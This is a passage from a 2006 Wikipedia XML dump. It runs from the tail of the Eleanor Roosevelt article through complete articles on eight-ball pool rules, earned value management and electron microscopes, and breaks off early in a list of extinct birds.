* &quot;The Draft Declaration of Human Rights.&quot; The New York Times [[19 June]] [[1948]]. ProQuest. EBSCO. Indiana University, Bloomington.

==Further reading==
*Beasley, Maurine H., Holly C. Shulman, and Henry R. Beasley. ''The Eleanor Roosevelt Encyclopedia'' (2001)
* Cook, Blanche Wiesen. ''Eleanor Roosevelt, Vol. 1: 1884-1933'' (1992).
* Cook, Blanche Wiesen. ''Eleanor Roosevelt: Volume 2, The Defining Years, 1933-1938'' (2000).
*  Lachman, Seymour P. &quot;The Cardinal, the Congressmen, and the First Lady.&quot; ''Journal of Church and State'' 7 (Winter 1965): 35–66.
* Lash, Joseph. ''Eleanor and Franklin: The Story of Their Relationship Based on Eleanor Roosevelt's Private Papers'' (1971). 
* Lash, Joseph. ''Eleanor: The Years Alone'' (1972)
* Roosevelt, David B. ''Grandmère: A Personal History of Eleanor Roosevelt'', Warner Books, 2002, Hardcover, 256 pages, ISBN 0446527343
* Goodwin, Doris Kearns.  ''No Ordinary Time: Franklin and Eleanor Roosevelt: The Home Front in World War II'', 768 pages, ISBN: 0684804484

==External links==
{{wikiquote}}
*[http://www.nps.gov/elro Eleanor Roosevelt National Historic Site]
*[http://www.ervk.org/index.htm The Eleanor Roosevelt Center at Val-Kill]
*[http://www.gwu.edu/~erpapers The Eleanor Roosevelt Papers]
*[http://www.fdrlibrary.marist.edu/ Franklin D. Roosevelt Presidential Library and Museum]
*[http://www.firstladies.org/ National First Ladies' Library]
*[http://www.feri.org The Franklin and Eleanor Roosevelt Institute]
*[http://rooseveltinstitution.org The Roosevelt Institution, a student think tank inspired in part by Eleanor Roosevelt]
*''[http://www.biresource.org/features/roosevelt.html An 'Outing' of Historical Proportions]''- an article about E.R.'s possible bisexuality, by Cliff Arsen, a Gay rights activist who was friends with Roosevelt during his childhood and adolescence.
* [http://www.teddyroosevelt.com  TeddyRoosevelt.com:  Information about Eleanor and her favorite, famous uncle Teddy.]
* [[http://www.nytimes.com/specials/magazine4/articles/roosevelt2.html]], ''Mrs. Roosevelt dies at 78. New York Times Obituary, November 8, 1962''.

{{start box}}
{{succession box|
 before=[[Lou Henry Hoover]]|
 title=[[First Ladies of the United States|First Lady of the United States]]|
 years=1933&amp;ndash;1945|
 after=[[Bess Truman]]
}}
{{end box}}

{{US First Ladies}}

[[Category:1884 births|Roosevelt, Eleanor]]
[[Category:1962 deaths|Roosevelt, Eleanor]]
[[Category:People from New York City|Roosevelt, Eleanor]]
[[Category:Alpha Kappa Alpha sisters|Roosevelt, Eleanor]]
[[Category:Feminists|Roosevelt, Eleanor]]
[[Category:First Ladies of the United States|Roosevelt, Eleanor]]
[[Category:Roosevelt|Eleanor Roosevelt]]
[[Category:United Nations|Roosevelt, Eleanor]]
[[Category:Dutch Americans|Roosevelt, Eleanor]]

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[[he:אלינור רוזוולט]]
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[[ja:エリナ・ルーズベルト]]
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[[sv:Eleanor Roosevelt]]</text>
    </revision>
  </page>
  <page>
    <title>Eight ball</title>
    <id>9727</id>
    <revision>
      <id>40221421</id>
      <timestamp>2006-02-19T01:27:27Z</timestamp>
      <contributor>
        <username>SupaCues</username>
        <id>955919</id>
      </contributor>
      <comment>Included external link</comment>
      <text xml:space="preserve">:''For other uses, see [[Eight ball (disambiguation)]]''
{{cleanup-date|January 2006}}

[[Image:Pool.jpg|The break|thumb]]

'''Eight ball''' is a [[billiards]] game played with a [[cue ball]] and 15 [[billiard ball]]s on a [[pool table]] with 6 pockets.  There are eight solid-colored balls numbered 1 through 8, seven [[stripe]]d balls numbered 9 through 15, and a solid white cue ball.

The balls are usually colored as follows:
* 1 and 9 - yellow
* 2 and 10 - blue
* 3 and 11 - red
* 4 and 12 - purple
* 5 and 13 - orange
* 6 and 14 - green
* 7 and 15 - brown
* 8 - black
* cue - white.

On occasion, however, 7 and 15 are colored tan or magenta.
----
In eight ball, two persons or two teams play against each other. One plays balls 1-7, the solid balls, the other plays balls 9-15, the striped ones. Ball 8, though colored solid, is not considered one of the solid balls, as it is the final objective for both sides. Each side on its turn hits the cue ball into one of their balls with the purpose of sinking that ball into a pocket of the table. If they succeed, they continue to &quot;shoot&quot;.  If no balls are pocketed, then the shooting player's turn is over and the other player/team attempts to pocket their balls.  If a player has sunk all of his or her balls, the player must sink the black 8 in order to win the game. If the black 8 is sunk earlier, the player loses. These are the basics of the game and the rest of the rules vary wildly based upon where the game is being played and by whom.  These variations are based upon the rules of the various pool organizations and also local house rules.

Eight Ball is the most popular billiards game in the [[United States]].
[[image:Eight_Ball_Rack_2005_SeanMcClean.jpg|right|thumb|250px|The rack.]]

== Lines and points on the table ==
Imagine the pool table divided into two equal halves the long way by an imaginary line (called the &quot;long string&quot;).  Also imagine two lines crossways to the long string one quarter of the way from each end.  These are called the &quot;head string&quot; and &quot;foot string&quot;.  The intersection of the long and head strings is called the &quot;head spot&quot;, and the intersection of the long and foot strings is called the &quot;foot spot&quot;.
[[Image:8 ball.jpg|thumb|right|300px|8 ball]] 

==Playing the game==

There are four phases to the game: setup, breaking, taking turns, and pocketing the 8 ball.

===Setting up the game===
To start the game, the colored balls are placed in a [[triangle]], called a &quot;rack.&quot;  The base of the rack is parallel to the short end of the pool table and positioned so the ball in the tip of the rack is located on the foot spot.  The balls in the rack are pressed into contact with the foot ball, and remain in contact after the rack is removed.  Within the rack, the 8-ball is centered while the two corners are each spotted with one solid ball and one stripe ball (See image).  The cue ball is placed anywhere the breaker desires between the head string and its nearest short side (that is, the quarter of the table farthest from the rack), an area known as the &quot;kitchen.&quot;

===Break===
One person is chosen to shoot first (&quot;break&quot; the balls apart; note that this is a different definition of the word &quot;break&quot; than in other billiards games, notably [[snooker]]) by any number of methods: flip of a coin, loser of last game breaks, winner of last game breaks, &quot;lag&quot;, etc.  If the shooter who breaks fails to make a legal break (usually defined as at least four balls hitting cushions) then the opponent can either re-rack and break, or play from the current position.

If the breaker pockets a ball, it is still the same player's turn.  This area of the game has two possible variations.
*The breaker is deemed to have legally pocketed the ball, and continues to shoot for balls in the same group.  In this interpretation, if balls in both groups are potted, a common rule is for the player to nominate which group they will shoot for, but for their turn to end.
*The table is still &quot;open&quot; until someone legally pockets a ball (accepted by BCA)

A common &quot;house rule&quot; is that if the 8 ball is potted on the break, the player wins immediately.

===Taking Turns===
The players now take turns.  The turn is over if a player makes a fault or fails to pocket one of the object balls.

===Pocketing the 8 ball===
Once all the player's object balls are pocketed, he/she can now attempt to sink the 8 ball and win.  First he/she must specify the pocket it will land in, and make it in that pocket; otherwise it will be in the wrong pocket and he/she loses.

==Faults==
When one player commits a fault, the other player gets &quot;ball in hand&quot;, that is, may place the cue ball anywhere on the table before playing their next shot.  Area of substantial disagreement in rules: some (including the [[Billiard Congress of America|BCA]]) play that (after the break) the cueball may be placed anywhere, and shoot at anything. Others play that the person with ball in hand may only place the cue ball in the &quot;kitchen&quot;, and must shoot out of the &quot;kitchen&quot; before hitting any ball (that is, they may not shoot at a ball inside the &quot;kitchen&quot; directly).  However, if all their balls are inside the &quot;kitchen&quot;, they can request that the one closest to the head string be placed on the head spot.  Under BCA rules, if the cue ball is pocketed on the break, the cue ball must be placed in the &quot;kitchen&quot; and shot out. If he/she pots the cue ball while playing on the black, it will be an immediate foul and the opposite player will receive two shots whether or not he/she is on the black. If he/she pots the black and the cue ball he/she will automatically lose the game.

'''APA rules:'''

* Whether (and how) jumping the cue ball is a fault
* Whether you lose if you:
** Shoot at the eight ball and miss
** Shoot at the eight ball, pocket the cue ball, but don't pocket the eight ball
* Whether the players have to announce ball and pocket
* Whether pocketing the eight ball on the break is a win  or a loss

== Possible set of rules ==
'''Note:''' The rules for this game may be the most contested of any billiard game; MAKE SURE that you and your opponent agree on the rules before playing.  Many people and leagues in the USA use the [[Billiard Congress of America]] (BCA) rules as their standard.  The place where you are playing may also have their own house rules, though you should still consult your opponent on whether to play by them.

One possible set of rules follows, but it doesn't exactly match the BCA rules:

Winning situation:
* the player has legally pocketed the eight ball

Losing situations:
* the player plays the eight ball in a fault situation.
* the player pockets the eight ball while he still has object balls in his group on the table
* the player pockets the eight ball in the same shot as the last object ball in his group
* the player has jumped the eight ball off the table

Possible fault situations:
* the player does not execute a legal stroke
* the player pockets the cue ball
* the player does not have at least one foot on the floor
* the player shoots the cue ball before all other balls have come to a complete stop
* the player hits the cue ball more than once during a shot
* the player touches the cue ball with something other than the tip of his cue
* the player touches any other ball
* the player causes a ball to leave the table

A legal stroke is defined as:
* the player hits the cue ball, then the cue ball hits one of the balls of that player's group of balls, then either the player pockets one of the player's own balls (not necessarily the one hit) or any ball hits a cushion.

== Differences between UK and US ==
In the version of pool or Eight Ball played in the [[United Kingdom]] and [[Australia]], plain unnumbered red balls and yellow balls often replace the solid and striped balls.  If not, the terms &quot;bigs&quot; (9-15) and &quot;smalls&quot; (1-7) are generally used instead. The black ball, however, still typically bears a number eight.  Another difference is that the UK table has pockets just larger than the balls, whereas the American table has pockets significantly larger.

The cue ball is often placed initially directly opposite the other balls, on the boundary line of the kitchen.

Whether a ball contacts the rail, or the player pots one of his own balls, is irrelevant in deciding a foul. Instead, a legal move is one where the cueball first hits one of the balls in the player's own group, and does not pot the cueball, the black ball or any of the balls in the opponent's group. If the player does succeed in potting one of his own balls then he or she will often be rewarded with a free shot.

After a foul stroke in the UK, the offending player will miss a turn - known as the &quot;two shots&quot; rule. This generally replaces the &quot;ball in hand&quot; rule, except in the case that the cueball is potted. In this case the opposing player, in addition to receiving a second shot, may choose where to place the cueball. Sometimes the player is limited to the semicircle (&quot;the D&quot;), although the horizontal boundary line of the &quot;kitchen&quot; can also be permitted. It should also be noted there has never been a one-shot on the black rule despite popular belief, the EPA rules can be found at http://www.epa.org.uk/wrules.php

A common area of contention concerns &quot;fouls on the black&quot;.  Possibilities include:
*Any foul committed while shooting for the black ball is an instant loss.
*Any foul committed while both players are shooting for the black ball is an instant loss.
*Any foul committed while one's opponent shooting for the black ball only entitles him to one shot.

Similarly, there is contention over two shots &quot;carrying over&quot;. Possibilities include:
#If a player has two shots, and pots a ball with the first, he still has two shots.
#If a player has two shots, and pots a ball with the first, he now has one shot left.
#Rule 1 applies unless the potted ball is his last coloured ball, in which case rule 2 applies.

Lastly, the question of &quot;shooting backwards&quot; after the white ball is respotted following being potted. Possibilities here include:
#A player may not hit a ball on or behind the line without hitting another ball or cushion first.
#A player may not &quot;shoot backwards&quot;, but may shoot at balls behind the line provided that the direction of motion of the white ball is forwards.
#A player may shoot backwards.

Further disagreement may arise over whether it is acceptable to deliberately pot the white ball (usually if a &quot;no shooting backwards&quot; rule is in effect, and the opponents' balls are behind the line).

== Standardized Rules (World 8 Ball rules) ==
A standardized version of pool rules for professional competitions have been established. These are the rules played in most 8-ball tournaments on television. These rules are often played in amateur leagues as well. World Rules creates differences to encourage quick play and promote skill by making playing a snooker (hook) more difficult and making covering pockets less advantageous. 

[http://www.epa.org.uk/wrules.php] - World 8 Ball rules with English definitions.

Some examples of these differences would be -

On all shots, the player must cause the Cue Ball's initial contact with a ball to be with a ball &quot;On&quot; and then pot a ball &quot;On&quot; or cause the Cue Ball or any Object Ball to contact a cushion.

This means that an easy snooker cannot always be played.

Also -

In some versions of 8 ball purposefully committing a foul (by potting an opponents ball) is not allowed. World 8 ball rules permits this. Furthermore, the cue ball (white ball) cannot be moved after a foul is committed.
This means that pocketing an opponents ball sometimes means that no significant advantage is given to the opposing player. This depends on where the cue ball lies after the shot is played. Care must be taken though as playing a foul shot resulting in a snooker results in a &quot;foul snooker&quot;. The opposing player can then play a free ball from the baulk.

For further explanations of the definitions of &quot;snooker&quot;, &quot;fouls&quot;, &quot;on&quot;, &quot;Object ball&quot; and &quot;free ball&quot; please visit the sites above.

== Blackball Rules ==
From 1st January 2006, &quot;Blackball&quot; rules were introduced to the U.K. along with other countries playing &quot;small table, English pool&quot; in an attempt to unify all the different rule-sets that currently exist. &quot;Blackball&quot; takes the best parts of the all the main types of rules. These rules are sanctioned by the World Pool Association. Blackball is being adopted by the Scottish Pool Association whilst the English Pool Association may adopt these in the future. [http://www.blackball.co.uk/]

A guide to blackball pool can be found at www.blackball.info [http://www.blackball.info/]

==Terminology==

{{section-stub}}

==See also==
*[[Nine Ball]]
*[[Straight Pool]]

==External links==
*[http://www.supacues.com The SupaCues Online Pool Resource ]
*[http://www.easypooltutor.com Easy pool tutor!]
*[http://www.funkypool.com/ Play 8-Ball Pool Online]
*[http://www.bca-pool.com/play/tournaments/rules/rls_8bl.shtml Official Rules for Eight-Ball from the BCA]
*[http://www.epa.org.uk/index.php The English Pool Association website. Official governing body for pool in England]
*[http://www.billiardresource.com/forum/about53.html Forum thread on Eight Ball]

[[Category:Pool billiards]]
[[ja:エイトボール]]
[[pl:Ósemka (bilard)]]</text>
    </revision>
  </page>
  <page>
    <title>Earned value management</title>
    <id>9728</id>
    <revision>
      <id>39775136</id>
      <timestamp>2006-02-15T20:15:37Z</timestamp>
      <contributor>
        <ip>141.213.53.156</ip>
      </contributor>
      <text xml:space="preserve">'''Earned value management''' is a [[project management]] technique for estimating how a [[project]] is doing in terms of its [[budget]] and [[schedule]].

Earned value compares the work finished so far with the estimates made in the beginning of the project. This gives a measure of how far the project is from completion. By extrapolating from the amount of work already put into the project, the [[project manager]] can get an estimate on how much resources the project will have used at completion.

This technique is related to the [[critical path]] concept. An alternative project performance measurement and management technique is [[critical chain]], which utilizes [[buffer management]] instead. The reason is that the earned value management method does not distinguish between the progress on the project [[constraint]] (i.e. its critical chain) from progress on the non-constraints (i.e. other paths in the [[project network]]). This can sometimes lead the project manager to expedite non-critical work at the expense of critical work in pursuit of better earned value measures, resulting in delayed project completion. This is a case of [[local optimization]], resulting from a lack of [[subordination]] of [[local measure]]s to [[global measure]]s. 

To apply earned value to a project, the project manager needs the following primary data:
* a [[work breakdown structure]] (WBS): a list of all tasks broken down in a hierarchical structure
* [[project master schedule]] (PMS): a [[Gantt chart]] of what [[task]] will be done when and by whom
* [[budgeted cost of work scheduled]] (BCWS) or [[planned value]] (PV): for every period the budgets of the tasks that were planned to be finished in this time unit. 'How much work should be done?'
* [[budgeted cost of work produced]] (BCWP) or [[earned value]] (EV): for every period the budgets of the tasks that actually finished in this time unit. 'How much work is done?'
* [[actual cost of work produced|actual cost (AC) of work produced]] (ACWP) or [[effort spent]]: for every period the actual costs of the work. 'How much did it cost?'
* estimate to complete (ETC), the projection of remaining costs to be incurred; this is an estimate based on best current information, irrespective of budget
* [[budget at completion]] (BAC): &amp;sum;[[BCWS]], the total budget estimated to be spent to complete the project
* [[total funding available]] (TFA): the budget the client has committed to
* [[negotiated period of performance]] (NPOP): the time period the client has agreed upon with the project manager
* [[planned period of performance]] (PPOP): the time period thought required to finish the project
* [[cost accrual ratio]] (CAR): the total average cost per person per time unit
* [[forecast of remaining work]] (FCST) or current schedule: the work that still needs to be done after this time unit

Generally, the Planned Values are based on labour costs only, and the Earned Values and Actual Costs are calculated on the same basis.

When a task is complete, the Earned Value in respect of a task is set (allocated) to be equal to the Planned Value of the task, irrespective of the Actual Costs spent on its accomplishment.

For tasks partly complete, it may be possible to measure the amount of work completed. In such cases, the Earned Value can be calculated accordingly as a fraction of the total Planned Value.  Other alternative conventions exist for partially completed tasks, based on, for example:

* 50% notional progress for partial completion
* elapsed time 
* ... and others

Whatever the basis of calculation, the Earned Value for a project is the sum of the Earned Values for its separate tasks.

From these data, the project manager can calculate:

; Cost Variance ([[CV]])

: &lt;math&gt;\begin{matrix}CV &amp; = &amp; BCWP - ACWP \\ \ &amp; = &amp; EV - AC \end{matrix}&lt;/math&gt;, greater than 0 is good

; Schedule Variance ([[SV]])

: &lt;math&gt;\begin{matrix}SV &amp; = &amp; BCWP - BCWS \\ \ &amp; = &amp; EV - PV \end{matrix}&lt;/math&gt;, greater than 0 is good

If the cost or schedule variance deviates from the budget by more than a percentage threshold, then the project manager must provide an analysis of the cause, including corrective actions.  Such an explanation is required even if the deviation is a favorable one, to ensure that any tradeoffs made are visible.  For example, more staff could be hired to complete a task faster but the cost may be higher.  The threshold percentage is set by each individual project but is typically 10 percent.

; Cost Performance Index ([[CPI]])

: &lt;math&gt;CPI  = {BCWP \over ACWP}&lt;/math&gt;

: &lt; 1 means that the cost of completing the work is higher than planned (bad)
: = 1 means that the cost of completing the work is right on plan (good)
: &gt; 1 means that the cost of completing the work is less than planned (good or sometimes bad).

Having a CPI that is very high (in some cases, very high is only 1.2) may mean that the plan was too conservative, and thus a very high number may in fact not be good, since the CPI is being measured against a poor baseline.  Management or the customer may be upset with the planners since an overly conservative baseline does not free up available funds for other purposes, and the baseline is also used for manpower planning.

; Schedule Performance Index (SPI)

: &lt;math&gt;SPI = {BCWP \over BCWS }&lt;/math&gt;, greater than 1 is good
: or

: &lt;math&gt;SPI = {EV \over PV}&lt;/math&gt;

; Estimate At Completion (EAC)

: EAC is the manager's projection of total cost of the project at completion.

: &lt;math&gt;EAC = ACWP + ETC&lt;/math&gt;

; To-Complete Performance Index (TCPI)

: The TCPI projects what the CPI will be for the remaineder of the project based on the manager's projection of subsequent performance.  The TCPI should be compared to the CPI.  Any significant difference should be accounted for to explain why the manager projects either improved or degraded performance in the future.

: &lt;math&gt;TCPI = { \left( BAC - BCWP \right) \over ETC }&lt;/math&gt;

; Independent Estimate At Completion (IEAC)

:The IEAC is a metric to project total cost using the performance to date to project overall performance.  This can be compared to the EAC, which is the manager's projection.

: &lt;math&gt;IEAC = \sum ACWP + { \left( BAC - \sum BCWP \right) \over CPI }&lt;/math&gt;
: or
: &lt;math&gt;IEAC = \sum AC + { \left(BAC -\sum EV \right) \over CPI }&lt;/math&gt;

==Limitations==

Earned value cannot easily be applied in all circumstances. Here are some project management situations where EV is not straightforward:

* Research Management
* Diverse or changing work teams
* Contracts where the true costs are not known or revealed
* Where the Scope, PBS or WBS is fluid or changed radically

==See also==
* [[List of project management topics]]

==External links==
* [http://www.acq.osd.mil/pm US DoD Earned value management website]
* [http://www.ndia.org/Template.cfm?Section=Procurement&amp;Template=/ContentManagement/ContentDisplay.cfm&amp;ContentID=1109 NDIA Program Management Systems Committee]

* [https://acc.dau.mil/simplify/ev.php?ID=1500_201&amp;ID2=DO_COMMUNITY The Acquisition Community Connection on EVM]

[[Category:Project management]]
[[Category:Management]]
[[Category:Production and manufacturing]]

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  <page>
    <title>Electron microscope</title>
    <id>9730</id>
    <revision>
      <id>41452422</id>
      <timestamp>2006-02-27T12:31:34Z</timestamp>
      <contributor>
        <ip>152.14.55.60</ip>
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      <text xml:space="preserve">{{mergefrom|Selected area diffraction}}
[[Image:Elektronenmikroskop.jpg|thumb|A transmission electron microscope.]]
The '''electron microscope''' is a [[microscope]] that can magnify very small details with high [[resolving power]] due to the use of [[electron]]s as the source of illumination, magnifying at levels up to 500,000 times.

== History ==
The first electron microscope was built by the German physicist [[Ernst Ruska]], who was awarded the Nobel Prize in 1986 for its invention. He knew that [[electron]]s possess a wave aspect, so he believed he could treat them in a fashion similar to light waves. Ruska was also aware that [[magnetic]] fields could manipulate electrons, possibly focusing them as optical [[Lens (optics)|lenses]] do to light. After confirming these principles through research, he set out to design an electron microscope. Ruska had deduced that an electron microscope would be much more powerful than an ordinary [[optical microscope]], because he knew that [[magnification]] increased with shorter wavelengths. Since electron waves were shorter than ordinary light waves, it followed that they would allow for greater magnification. In [[1932]] Ruska and a collaborator, German physicist [[Max Knoll]], under whom he obtained his doctorate, built the first crude electron microscope. Despite the fact that it was primitive and not fit for practical use, the instrument was still capable of magnifying objects '''400''' times.

The first practical electron microscope was built by [[Eli Franklin Burton]] and students at the [[University of Toronto]], [[Canada]] in [[1938]].

Although modern electron microscopes can magnify an object 2 million times, they are still based upon Ruska's [[prototype]] and his correlation between wavelength and magnification. The electron microscope is an integral part of many laboratories. Researchers use it to examine biological materials (such as microorganisms and cells), a variety of large molecules, medical biopsy samples, metals and crystalline structures, and the characteristics of various surfaces.

==Types ==

===Electron beam microscopes ===

====Transmission Electron Microscope (TEM) ====

The [[Transmission electron microscopy|Transmission Electron Microscope]] (TEM) involves a high [[voltage]] electron beam emitted by a [[cathode]] and formed by [[magnet|magnetic]] lenses. The electron beam that has been partially transmitted through the very thin (and so semitransparent for electrons) specimen carries information about the inner structure of the specimen.  The spatial variation in this information (the &quot;image&quot;) is then magnified by a series of magnetic lenses until it is recorded by hitting a fluorescent screen, photographic plate, or light sensitive sensor such as a CCD (charge-coupled device) camera.  The image detected by the CCD may be displayed in real time on a monitor or computer.  

Resolution of the high-resolution TEM (HRTEM) is limited by spherical and chromatic aberration, but a new generation of aberration correctors has been able to overcome spherical aberration.  Software correction of spherical aberration has allowed the production of images with sufficient resolution to show carbon atoms in diamond separated by only 0.89 [[ångström]] (89 [[picometer]]s) and atoms in silicon at 0.78 ångström (78 picometers) at magnifications of 50 million times. The ability to determine the positions of atoms within materials has made the HRTEM an indispensible tool for nano-technologies research and development in many fields, including heterogeneous catalysis and the development of semiconductor devices for electronics and photonics.

====Scanning Electron Microscope (SEM) ====

Unlike the TEM, where electrons are detected by beam transmission, the [[Scanning Electron Microscope]] (SEM) produces images by detecting secondary electrons which are emitted from the surface due to excitation by the primary electron beam. In the SEM, the electron beam is rastered across the sample, with detectors building up an image by mapping the detected signals with beam position.

Generally, the TEM resolution is about an order of magnitude better than the SEM resolution, however, because the SEM image relies on surface processes rather than transmission it is able to image bulk samples and has a much greater depth of view, and so can produce images that are a good representation of the 3D structure of the sample.

====Scanning Transmission Electron Microscope (STEM) ====

A [[Scanning Transmission Electron Microscope]] (STEM) is a specific sort of TEM, where the electrons still pass through the specimen, but, as in SEM, the sample is scanned in a raster fashion.&lt;!-- No, 'raster' is not a typo--&gt;

====Reflection Electron Microscope (REM) ====

In addition there is a '''Reflection Electron Microscope''' (REM). Like TEM, this technique involves electron beams incident on a surface, but instead of using the transmission (TEM) or secondary electrons (SEM), the reflected beam is detected. This technique is typcially coupled with [[RHEED|Reflection High Energy Electron Diffraction]] and ''Reflection high-energy loss spectrum (REELS)''. Another variation is Spin-Polarized Low-Energy Electron Microscopy (SPLEEM), which is used for looking at the microstructure of [[magnetic domain]]s [http://ncem.lbl.gov/frames/spleem.htm].

===Scanning Tunneling Microscope (STM) ===

A [[Scanning Tunneling Microscope]] (STM) can be considered type of electron microscope, but it is a type of [[Scanning probe microscopy]] and it is non-optical. The STM employs principles of quantum mechanics to determine the height of a surface. An atomically sharp probe (the tip) is moved over the surface of the material under study, and a voltage is applied between probe and the surface. Depending on the voltage electrons will ''tunnel'' or jump from the tip to the surface (or vice-versa depending on the polarity), resulting in a weak electric current. The size of this current is exponentially dependent on the distance between probe and the surface.

== Sample Preparation ==
Samples viewed under an electron microscope may be treated in many ways:
*''Cryofixation'' - freezing a specimen so rapidly, to liquid nitrogen or even liquid helium temperatures, that the water forms [[Amorphous ice|vitreous (non-crystalline) ice]]. This preserves the specimen in a snapshot of its solution state. This technique produces the best specimen preservation, but isn't applicable to all specimens. An entire field called [[cryo-electron microscopy]] has branched from this technique.
*''Fixation'' - preserving the sample to make it more realistic. [[Glutaraldehyde]] - for hardening - and [[osmium tetroxide]] - which stains [[lipid]]s black - are used.
*''Dehydration'' - replacing [[water]] with organic solvents such as [[ethanol]] or [[acetone]]. 
*''Embedding'' - infiltration of the tissue with a [[resin]] such as [[araldite]] or [[epoxy]] for sectioning.
*''Sectioning'' - produces thin slices of specimen, semitransparent to electrons. These can be cut on an [[ultramicrotome]] with a [[diamond]] knife to produce very thin slices. [[Glass knives]] are also used because they can be made in the lab and are much cheaper.  
*''Staining'' - uses heavy metals such as [[lead]], [[uranium]] or [[tungsten]] to block electrons to give contrast between different structures, since many (especially biological) materials are nearly &quot;transparent&quot; to electrons (weak phase objects). 
*''Freeze-fracture or freeze-etch'' - a preparation method particularly useful for examining lipid membranes and their incorporated proteins in &quot;face on&quot; view. The fresh tissue or cell suspension is frozen rapidly (cryofixed), then fractured by simply breaking or by using a microtome while maintained at liquid nitrogen temperature. The cold fractured surface (sometimes &quot;etched&quot; by increasing the temperature to about -100°C for several minutes to let some ice sublime) is then shadowed with platinum at an average angle of 45° in a high vacuum evaporator. A second coat of carbon, evaporated normal to the average surface plane is often performed to improve stability of the replica coating. The specimen is returned to room temperature and pressure, then the extremely fragile &quot;pre-shadowed&quot; replica of the fracture surface is released from the underlying biological material by careful chemical digestion with acids, hypochlorite solution or SDS detergent. The still-floating replica is thoroughly washed from residual chemicals, carefully fished up on EM grids, dried then viewed in the TEM. 
*''Embedding'' - infiltration of the tissue with a [[resin]] such as [[araldite]] or [[epoxy]] for sectioning.
*''Ion Beam Milling'' - thins samples until they are transparent to electrons by firing [[ions]] (typically [[argon]]) at the surface from an angle and sputtering material from the surface. A subclass of this is [[Focused ion beam]] milling, where [[gallium]] ions are used to produce an electron transparent membrane in a specific region of the sample, for example through a device within a microprocessor.
*''Conductive Coating'' - Evaporation, [[Thin-film deposition]], or [[sputtering]] of carbon, gold, gold/palladium, platinum or other conductive material to avoid charging of non conductive specimens in a scanning electron microscope.

== Disadvantages ==

[[Image:Krillfilter2kils.jpg|thumb|Pseudocolored SEM image of the feeding basket of [[Antarctic krill]]. Real electron microscope images do not carry any color information, they are [[greyscale]]. The first degree [[filter setae]] carry in v-form two rows of second degree [[setae]], pointing towards the inside of the [[feeding basket]]. The purple ball is one micrometer in diameter. To display the total area of this fascinating structure one would have to [http://www.ecoscope.com/krill/filter/filter7/index.htm tile] 7500 times this image.]]

Electron microscopes are expensive to buy and maintain. As they are sensitive to vibration and external magnetic fields, suitable facilities are required to house microscopes aimed at achieving high resolutions. 

The samples have to be viewed in [[vacuum]], as the molecules that make up air would scatter the electrons. Recent advances have allowed hydrated samples to be imaged using environmental scanning electron microscope. 

Scanning electron microscopes usually image conductive or semi-conductive materials best. Non-conductive materials can be imaged by an environmental scanning electron microscope. A common preparation technique is to coat the sample with a several-nanometer layer of conductive material, such as [[gold]], from a sputtering machine; however this process has the potential to disturb delicate samples.

The samples have to be prepared in many ways to give proper detail, which may  result in ''artifacts''&amp;mdash;objects that are purely the result of treatment. This gives the problem of distinguishing artifacts from material, particularly in [[biology|biological]] samples. Scientists maintain that the results from various preparation techniques have been compared, and as there is no reason that they should all produce similar artifacts, it is therefore reasonable to believe that electron microscopy features correlate with living cells. In addition, higher resolution work has been directly compared to results from [[X-ray crystallography]], providing independent confirmation of the validity of this technique. Recent work performed on unfixated, vitrified specimens has also been performed, further confirming the validity of this technique.

== See also ==

* [[Electron]]
* [[:Category:Electron microscope images]]

==External links==
===Archives===

* [http://americanhistory.si.edu/archives/d8452.htm Rubin Borasky Electron Microscopy Collection, 1930-1988] Archives Center, National Museum of American History, Smithsonian Institution. 
 

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[[Category:Electron]]

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  <page>
    <title>Extinct birds</title>
    <id>9731</id>
    <revision>
      <id>41890853</id>
      <timestamp>2006-03-02T11:49:05Z</timestamp>
      <contributor>
        <username>Pmaas</username>
        <id>457308</id>
      </contributor>
      <comment>/* [[Passerine]]s */ Removed New Zealand ravens, because extinct before 1500</comment>
      <text xml:space="preserve">[[Image:Giant Haasts eagle attacking New Zealand moa.jpg|thumb|right|250px|Artist's rendition of a Giant [[Harpagornis|Haast's eagle]] attacking New Zealand [[moa]].]]
Since [[1500]], over 100 species of '''[[birds]]''' have become '''[[extinct]]''', and this rate of extinction seems to be increasing. The situation is exemplified by [[Hawaii]], where 30% of all now-extinct species originally lived.  Other areas, such as [[Guam]], have also been hard hit; Guam has lost over 60% of its native species in the last 30 years, many of them to imported [[snake]]s.

There are today about 10,000 species of birds, and 1186 of them are considered to be under threat of extinction. Except for 11 species, the threat is man-made.

Island species in general, and flightless island species in particular are most at risk. The disproportionate number of [[rail (bird)|rails]] in the list reflects the tendency of that family to lose the ability to fly when geographically isolated.

(This page refers only to birds that have gone extinct in historical times. See also [[Prehistoric bird|Prehistoric birds]].)

=='''Extinct species'''==

===[[Ratite]]s===
* [[Aepyornis]], ''Aepyornis maximus ''
* [[Moa]], ''Dinornithiformes''.
:Large flightless birds in [[New Zealand]]- they were probably already extinct in [[1642]] when Europeans landed there.  The extinction of the moa and its main predator, [[Harpagornis|Haast's Eagle]] ''Harpagornis moorei'', is attributed to the arrival of human settlers around 1000 A.D.  Very early European arrivals, ca 1830-40, described seeing birds that might have been the last of the moa but the sightings have never been reliably confirmed . New Zealand has no significant indigenous mammal life.  The entire animal ecology consisted of birds, with the moa filling the niche of deer or cattle, and the harpagornis filling the niche of the wolf or tiger.  Amongst the dozen or so species were '''Slender Moa,''' ''Dinornis robustus'', '''Great Broad-billed Moa,''' ''Euryapteryx gravis '' and '''Lesser Megalapteryx''', ''Megalapteryx didinus''.
:It has been long suspected that the species of moa described as ''Euryapteryx curtus'' / ''E. exilis'', ''E. huttonii'' / ''E. crassus'', and ''Pachyornis septentrionalis'' / ''P. mappini'' constituted males and females, respectively. This has been confirmed by analysis for sex-specific genetic markers of DNA extracted from bone material (''Nature'' 425 p.175). More interestingly, the former three species of ''Dinornis'': ''D. giganteus'' = ''robustus'', ''D. novaezealandiae'' and ''D. struthioides'' have turned out to be males (''struthioides'') and females of only two species, one each formerly occurring on [[New Zealand]]s North Island (''D. novaezealandiae'') and South Island (''D. robustus'')   [''Nature'' paper cited above, also ''Nature'' 425 p. 172]. 
:Moa females were larger than males, being up to 150% of the male's size and 280% of their weight. This phenomenon - reverse size dimorphism, is not uncommon amongst [[ratite]]s, being most pronounced in moa and [[kiwi]]s.
:On a side note, the plural form of moa is also moa, as [[Maori language|Maori]] words do not feature plural-&quot;s&quot;.

* [[King Island Emu]], ''Dromaius ater'' (Australia 1850)
* [[Kangaroo Island Emu]], ''Dromaius baudinianus'' (Australia 1827)

===[[Duck]]s, [[Goose|geese]] and [[swan]]s===
* [[Korean Crested Shelduck]], ''Tadorna cristata''
